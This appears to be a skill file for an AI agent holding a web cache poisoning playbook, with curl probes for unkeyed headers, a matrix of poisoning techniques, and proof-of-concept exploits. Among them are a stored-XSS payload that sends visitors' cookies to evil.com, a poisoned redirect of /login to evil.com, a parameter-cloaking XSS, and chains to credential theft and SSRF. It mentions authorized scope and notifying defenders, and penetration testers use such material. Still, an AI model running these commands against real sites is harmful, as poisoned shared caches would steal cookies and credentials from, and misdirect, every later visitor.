- name
- web-cache-poisoning
- description
- Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.
- allowed-tools
- Bash Read Write
- metadata
- {"when_to_use":"cache poisoning unkeyed header x-forwarded-host x-forwarded-scheme x-original-url param miner fat get cdn varnish cloudflare","mitre_attack":"T1565.001","subdomain":"execution","tags":"web-application, cache, cdn, unkeyed-input, stored-xss"}
# Web Cache Poisoning Playbook
Distinct from *cache deception* (tricking the cache into storing a victim's
private response). Here, the attacker poisons the **shared** cache so every
subsequent visitor receives an attacker-controlled response. Impact ranges from
defacement → reflected-XSS-as-stored → forced-redirect → DoS.
## 1. Detection — find unkeyed inputs
Definition: an *unkeyed* input is a header/parameter the cache ignores when
building the cache key but the origin reflects into the response.
```bash
URL="https://<TARGET>/"
# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"
# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
"X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
"X-Host: evil.com" "X-Original-URL: /admin" \
"X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
"Forwarded: host=evil.com"; do
echo "== $H =="
curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done
# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com" # if present → poisoned
```
## 2. Misconfig / technique matrix
| Class | Trigger | Outcome |
|---|---|---|
| Standard unkeyed header | `X-Forwarded-Host: evil.com` reflected into `<link rel=canonical>` or absolute URLs | stored open-redirect / XSS |
| Scheme downgrade | `X-Forwarded-Scheme: http` reflected | force-HTTP cache → MITM |
| Port confusion | `X-Forwarded-Port: 1` reflected into JS asset URLs | broken site DoS |
| Routing override | `X-Original-URL: /admin`, `X-Rewrite-URL` | cached admin page served to public |
| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |
| Parameter cloaking | `?utm=x&utm=<payload>` — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives |
| Key normalization flaw | cache lowercases path, origin doesn't (or strips `;jsessionid`) | desync key vs. response |
| Cache-key injection via `Vary` gap | response varies on header cache doesn't include | per-attacker poisoning |
| HTTP/0.9 / smuggling-assist | downstream cache stores smuggled response | mass poisoning |
| Cache-Control overlap | origin returns `Cache-Control: private`, CDN ignores it | private response cached globally |
| Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL |
| 404 / error caching | error page cached with attacker payload reflected | DoS + stored XSS |
## 3. Exploit PoC
### 3.1 Stored-XSS via unkeyed Host
```bash
# Origin reflects X-Forwarded-Host into <meta property="og:url">
curl -s "https://<TARGET>/?cb=$RANDOM" \
-H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
# Verify cache HIT for the next visitor:
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'
```
### 3.2 Forced redirect
```bash
curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
# Subsequent victims:
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
# → Location: https://evil.com/login (cached for the TTL)
```
### 3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins)
```bash
curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"
```
## 4. Chains
- **Cache poisoning → stored XSS**: reflected XSS upgraded to mass-victim impact via cached response.
- **Cache poisoning → ATO**: poison `/login` to send creds to attacker via swapped form action.
- **Cache poisoning → SSRF**: poison API responses an internal job consumes.
- **Smuggling → cache poisoning**: HTTP request smuggling stores arbitrary attacker response globally.
## 5. Tools
- Burp Suite — **Param Miner** extension (Hackvertor + cache rules) — *the* canonical tool
- `cache-poisoning` payload lists (PortSwigger research)
- `httpx -follow-redirects -title -tech-detect` for fingerprinting Vary/`X-Cache`
## 6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
| Repeated `X-Forwarded-*` permutations on one URL | WAF rule / access log | Cache-bust with `?cb=$RANDOM` per probe; do NOT poison shared paths during tests |
| Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own |
| Mass `Age: 0` on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure |
## Decision Gate: poisoning confirmed → exploitation
- [ ] Caching layer present (`X-Cache: HIT`, `Age:` ticks)
- [ ] At least one unkeyed input reflects into response/redirect
- [ ] A second request without the input still returns the poisoned response
- [ ] Reflected payload reaches a security-sensitive sink (script, Location, form action)
- [ ] Defender notified before live-cache exploitation (authorized scope)
If all checked, escalate per `finding-protocol`; otherwise downgrade.
Voir sur GitHub